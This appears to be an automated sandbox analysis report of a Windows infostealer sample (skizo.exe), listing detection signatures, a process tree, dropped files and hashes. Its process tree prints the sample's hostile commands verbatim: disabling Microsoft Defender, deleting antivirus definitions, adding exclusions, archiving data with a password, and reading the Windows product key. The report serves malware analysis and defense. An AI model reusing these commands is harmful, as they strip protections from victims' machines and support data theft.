Analysis

  • max time kernel
    148s
  • max time network
    123s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 14:00

General

  • Target
    skizo.exe
  • Size 7.9MB
  • Sample260623-ra63padv3w
  • SHA256 beb8e9ef3f4573c0fc92b2d35431dfae83e76e6e1ca08a1c970d43573915a32d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • UPX packed file 52 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skizo.exe
    "C:\Users\Admin\AppData\Local\Temp\skizo.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5848
    • C:\Users\Admin\AppData\Local\Temp\skizo.exe
      "C:\Users\Admin\AppData\Local\Temp\skizo.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\skizo.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\skizo.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5840
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:540
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:1212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4532
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "start bound.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1160
        • C:\Users\Admin\AppData\Local\Temp\bound.exe
          bound.exe
          4⤵
          • Executes dropped EXE
          PID:964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI58482\rar.exe a -r -hp"rr" "C:\Users\Admin\AppData\Local\Temp\usk0h.zip" *"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1676
        • C:\Users\Admin\AppData\Local\Temp\_MEI58482\rar.exe
          C:\Users\Admin\AppData\Local\Temp\_MEI58482\rar.exe a -r -hp"rr" "C:\Users\Admin\AppData\Local\Temp\usk0h.zip" *
          4⤵
          • Executes dropped EXE
          PID:3296
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1172
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic os get Caption
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2556
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2896
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic computersystem get totalphysicalmemory
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1196
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4404
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic csproduct get uuid
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5812
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3416
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4784
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          4⤵
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          PID:2388
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3396

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 82fb99dc0cd12ba5e5b7a360092f848d2fbb2775d12ccb3aa60d8b3710ccc91a
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f78b9a07082c638aee4623b2ebf4de52669ab0c1034cde286ed2bb23ae948407
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\VCRUNTIME140.dll
        • Size 106KB
        • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_bz2.pyd
        • Size 48KB
        • SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_ctypes.pyd
        • Size 58KB
        • SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _decimal.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_decimal.pyd
        • Size 106KB
        • SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_hashlib.pyd
        • Size 35KB
        • SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_lzma.pyd
        • Size 85KB
        • SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_queue.pyd
        • Size 25KB
        • SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_socket.pyd
        • Size 43KB
        • SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_sqlite3.pyd
        • Size 56KB
        • SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\_ssl.pyd
        • Size 62KB
        • SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\base_library.zip
        • Size 1.4MB
        • SHA256 244bb38692c0da9b8444cfa46587f7fdb163c109adfb12a6046dd20a28922fd0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\blank.aes
        • Size 99KB
        • SHA256 976c9bd8c9bf34b692a78d3ab767cf7d63d41d76ed17711134e3ea6866e1d70c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        blank.aes

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\blank.aes
        • Size 99KB
        • SHA256 aaa0c771ad6a244c3bc74fcd1d185428082822c2b27f45090cd643640a551694
        • MD5 SHA1 SHA512 SSDEEP TLSH

        bound.blank

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\bound.blank
        • Size 1.1MB
        • SHA256 02a176a802cd4cd72dda14cf68cc79fb1d084f4a1ec0d3643ee26a7c9d2ce4d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\libcrypto-1_1.dll
        • Size 1.1MB
        • SHA256 9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\libffi-8.dll
        • Size 29KB
        • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-1_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\libssl-1_1.dll
        • Size 204KB
        • SHA256 2af3d965863018c66c2a9a2d66072fe3657bbd0b900473b9bbdcac8091686ae1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python311.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\python311.dll
        • Size 1.6MB
        • SHA256 3373ee171db8898c83711ec5067895426421c44f1be29af96efe00c48555472e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\rar.exe
        • Size 615KB
        • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rarreg.key

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\rarreg.key
        • Size 456B
        • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
        • MD5 SHA1 SHA512 TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\select.pyd
        • Size 25KB
        • SHA256 fcc744cfccc1c47f6f918e66cfc1b73370d2cecdb776984fabb638745ebe3a38
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sqlite3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\sqlite3.dll
        • Size 610KB
        • SHA256 48f50e8a693f3b1271949d849b9a70c76acaa4c291608d869efe77de1432d595
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58482\unicodedata.pyd
        • Size 295KB
        • SHA256 b37d56ad48a70b802fb337d721120d753270dbda0854b1bfb600893fb2ce4e7a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_oh1at1d0.duc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oh1at1d0.duc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        bound.exe

        • Path C:\Users\Admin\AppData\Local\Temp\bound.exe
        • Size 2.2MB
        • SHA256 3a66041645eaa09761c4948f14ed5e6ffd071cf4992828047f80e3a55e29c16f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/540-89-0x000001A4ED4E0000-0x000001A4ED502000-memory.dmp

        memory/2844-72-0x00007FFF52C20000-0x00007FFF52F99000-memory.dmp

        memory/2844-54-0x00007FFF69BF0000-0x00007FFF69C1D000-memory.dmp

        memory/2844-68-0x00007FFF68010000-0x00007FFF6803E000-memory.dmp

        memory/2844-74-0x00007FFF69DD0000-0x00007FFF69DF3000-memory.dmp

        memory/2844-73-0x00007FFF65A40000-0x00007FFF65AF8000-memory.dmp

        memory/2844-64-0x00007FFF68040000-0x00007FFF68059000-memory.dmp

        memory/2844-71-0x00007FFF52FA0000-0x00007FFF53589000-memory.dmp

        memory/2844-81-0x00007FFF52B00000-0x00007FFF52C1C000-memory.dmp

        memory/2844-78-0x00007FFF69D40000-0x00007FFF69D4D000-memory.dmp

        memory/2844-76-0x00007FFF66B20000-0x00007FFF66B34000-memory.dmp

        memory/2844-62-0x00007FFF5E170000-0x00007FFF5E2E0000-memory.dmp

        memory/2844-60-0x00007FFF686A0000-0x00007FFF686C3000-memory.dmp

        memory/2844-52-0x00007FFF69DA0000-0x00007FFF69DB9000-memory.dmp

        memory/2844-92-0x00007FFF686A0000-0x00007FFF686C3000-memory.dmp

        memory/2844-26-0x00007FFF52FA0000-0x00007FFF53589000-memory.dmp

        memory/2844-132-0x00007FFF68040000-0x00007FFF68059000-memory.dmp

        memory/2844-127-0x00007FFF69DC0000-0x00007FFF69DCF000-memory.dmp

        memory/2844-102-0x00007FFF5E170000-0x00007FFF5E2E0000-memory.dmp

        memory/2844-109-0x00007FFF68040000-0x00007FFF68059000-memory.dmp

        memory/2844-66-0x00007FFF69D90000-0x00007FFF69D9D000-memory.dmp

        memory/2844-33-0x00007FFF69DC0000-0x00007FFF69DCF000-memory.dmp

        memory/2844-31-0x00007FFF69DD0000-0x00007FFF69DF3000-memory.dmp

        memory/2844-122-0x00007FFF68010000-0x00007FFF6803E000-memory.dmp

        memory/2844-126-0x00007FFF69DD0000-0x00007FFF69DF3000-memory.dmp

        memory/2844-133-0x00007FFF69D90000-0x00007FFF69D9D000-memory.dmp

        memory/2844-138-0x00007FFF69D40000-0x00007FFF69D4D000-memory.dmp

        memory/2844-139-0x00007FFF52B00000-0x00007FFF52C1C000-memory.dmp

        memory/2844-135-0x00007FFF52C20000-0x00007FFF52F99000-memory.dmp

        memory/2844-137-0x00007FFF66B20000-0x00007FFF66B34000-memory.dmp

        memory/2844-136-0x00007FFF65A40000-0x00007FFF65AF8000-memory.dmp

        memory/2844-131-0x00007FFF5E170000-0x00007FFF5E2E0000-memory.dmp

        memory/2844-125-0x00007FFF52FA0000-0x00007FFF53589000-memory.dmp

        memory/2844-134-0x00007FFF68010000-0x00007FFF6803E000-memory.dmp

        memory/2844-130-0x00007FFF686A0000-0x00007FFF686C3000-memory.dmp

        memory/2844-129-0x00007FFF69BF0000-0x00007FFF69C1D000-memory.dmp

        memory/2844-128-0x00007FFF69DA0000-0x00007FFF69DB9000-memory.dmp

        memory/4532-101-0x00000148F4E20000-0x00000148F4E2A000-memory.dmp

        memory/4532-95-0x00000148F4D40000-0x00000148F4D5E000-memory.dmp

        memory/4532-96-0x00000148F4D60000-0x00000148F4E12000-memory.dmp